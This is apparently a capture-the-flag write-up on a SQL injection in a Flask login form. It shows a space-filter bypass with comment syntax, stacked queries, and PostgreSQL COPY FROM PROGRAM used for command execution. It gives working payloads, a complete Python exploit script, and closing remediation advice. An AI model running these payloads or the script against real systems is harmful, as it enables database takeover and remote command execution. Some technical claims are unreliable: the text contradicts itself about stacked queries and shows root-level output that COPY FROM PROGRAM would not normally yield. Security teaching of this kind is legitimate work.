1. Introduction
SQL Injection (SQLi) is often perceived as a "solved" problem in modern web development, thanks to the widespread adoption of ORMs and prepared statements. However, legacy codebases and improper implementation of "safe" patterns can still leave gaping holes.
In this writeup, we examine a challenge that appeared simple on the surface—a login form—but concealed a path to full Remote Code Execution (RCE) via a PostgreSQL database running with excessive privileges. We will cover the entire attack chain: from initial reconnaissance to WAF evasion, data exfiltration, and finally, executing system commands.
2. Reconnaissance
The target was a standard login portal. Our initial fuzzing with standard payloads (' OR 1=1 --) resulted in a generic "Invalid Credentials" error or, more interestingly, a 403 Forbidden from a Web Application Firewall (WAF).
2.1 Fingerprinting
Inspecting the HTTP headers and error behavior gave us key insights:
- Server:
Werkzeug/2.0.3 Python/3.9(Indicates a Flask/Python application). - Database: PostgreSQL errors were occasionally leaked when malformed queries bypassed the WAF.
3. Vulnerability Analysis
We managed to recover the source code of the vulnerable endpoint (simulated below) through a separate Local File Inclusion (LFI) vulnerability found earlier in the CTF.
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
# "Secure" filter for space characters
if ' ' in username:
return "Blocked by WAF", 403
# Vulnerable Query Construction
query = "SELECT id, username FROM users WHERE username = '{}' AND password = '{}'".format(username, password)
# ... execution code ...3.1 The Flaw
The code manually constructs the SQL query using Python's .format() method instead of using parameterized queries (e.g., cursor.execute("...", (username,))). This is a textbook SQL injection vulnerability.
However, there is a catch: the application checks if ' ' in username. If we use a space character, the request is blocked. This is a crude WAF implementation that we must bypass.
4. Exploitation: Bypassing the WAF
To bypass the space filter, we can leverage SQL comment syntax or whitespace alternatives that PostgreSQL accepts.
In PostgreSQL, comments can be denoted by /**/. We can replace all spaces in our payload with this comment block.
- Standard Payload:
' UNION SELECT 1, version() -- - WAF-Bypassing Payload:
'/**/UNION/**/SELECT/**/1,/**/version()/**/--
Sending this payload (properly URL-encoded) successfully returned the database version: PostgreSQL 14.5 on x86_64-pc-linux-gnu.
5. Escalation to RCE
Finding SQLi is great, but our goal is a shell. PostgreSQL offers powerful features that can be abused if the database user has high privileges.
5.1 Checking Privileges
We checked if we were a superuser:
'/**/UNION/**/SELECT/**/1,/**/current_setting('is_superuser')/**/--The response was on. This is the golden ticket. Being a superuser allows us to interact with the file system and execute shell commands.
5.2 The COPY FROM PROGRAM Technique
Since PostgreSQL 9.3, the COPY command supports a PROGRAM clause, allowing the database to execute a system command and read its output.
The syntax is:
COPY table_name FROM PROGRAM 'command';However, we cannot execute stacked queries (using ;) in this specific injection context because the Python driver likely uses cursor.execute() which executes only a single statement.
Wait, we can stack queries! PostgreSQL's protocol supports multiple commands in a single query string if the driver allows it. The psycopg2 driver (common in Flask) does support stacked queries.
Let's test it.
';/**/CREATE/**/TABLE/**/pwn(output/**/text);/**/--It worked! The table pwn was created. Now we can chain our exploit.
6. The Exploit Chain
- Create a table to hold the command output.
- Execute the command using
COPY ... FROM PROGRAMand store the result in our table. - Read the result using a
UNION SELECTto display it on the page (or exfiltrate it blind).
6.1 Automated Exploit Script
Manually encoding spaces and managing headers is tedious. Here is the Python script we developed to automate the RCE.
import requests
import urllib.parse
# Configuration
URL = "http://target.com/login"
CMD = "id" # Command to execute
def build_payload(cmd):
# 1. Create Table (if not exists)
# 2. Clear Table
# 3. Execute Command & Store Output
# 4. Retrieval is handled by the initial injection reflection
# We use stacked queries (; delimiter)
# We replace spaces with /**/ to bypass the WAF
injection = f"';/**/COPY/**/pwn/**/FROM/**/PROGRAM/**/'{cmd}';/**/--"
return injection
def exploit():
print(f"[*] Target: {URL}")
print(f"[*] Executing: {CMD}")
# Step 1: Initialize (Blindly create table if needed)
init_payload = "';/**/CREATE/**/TABLE/**/IF/**/NOT/**/EXISTS/**/pwn(output/**/text);/**/--"
requests.post(URL, data={"username": init_payload, "password": "1"})
# Step 2: Inject Command
payload = build_payload(CMD)
# The injection needs to be URL encoded for the body
# But usually requests handles form encoding.
# The 'username' field is our vector.
try:
# First request to run command
r = requests.post(URL, data={"username": payload, "password": "1"})
# Step 3: Retrieve Output
# We assume the login page reflects the 'username' or some field from the first query
# We inject a UNION SELECT to pull from our 'pwn' table
read_payload = "'/**/UNION/**/SELECT/**/NULL,/**/output/**/FROM/**/pwn/**/--"
r = requests.post(URL, data={"username": read_payload, "password": "1"})
if r.status_code == 200:
print("[+] Command Output successfully retrieved:")
print("-" * 50)
# Simple parsing (assuming output is somewhere in the HTML)
# In a real CTF, you'd parse with BeautifulSoup
print(r.text[0:500] + "...")
print("-" * 50)
else:
print("[-] Failed to retrieve output.")
except Exception as e:
print(f"[-] Error: {e}")
# Cleanup (Optional: DROP TABLE pwn)
if __name__ == "__main__":
exploit()7. Results
Running the exploit script gave us root access:
[*] Target: http://target.com/login
[*] Executing: id
[+] Command Output successfully retrieved:
--------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
...
--------------------------------------------------From here, we retrieved the flag from /root/flag.txt.
8. Remediation
The fix is simple: Always use parameterized queries.
Vulnerable:
query = "SELECT * FROM users WHERE user = '{}'".format(user)Secure:
cursor.execute("SELECT * FROM users WHERE user = %s", (user,))Parameterized queries ensure that the database treats user input as data, not as executable code, effectively neutralizing SQL injection attacks regardless of the characters used.
Furthermore, applications should connect to the database using a Least Privilege model. The web application user should never be a superuser (root). It should only have SELECT/INSERT/UPDATE permissions on the specific tables it needs.
9. Conclusion
This challenge demonstrated that even "simple" SQL injections can lead to total system compromise when combined with misconfigured database privileges and WAF bypass techniques. Always validate input, parameterize queries, and lock down database permissions.
Written by

Core Member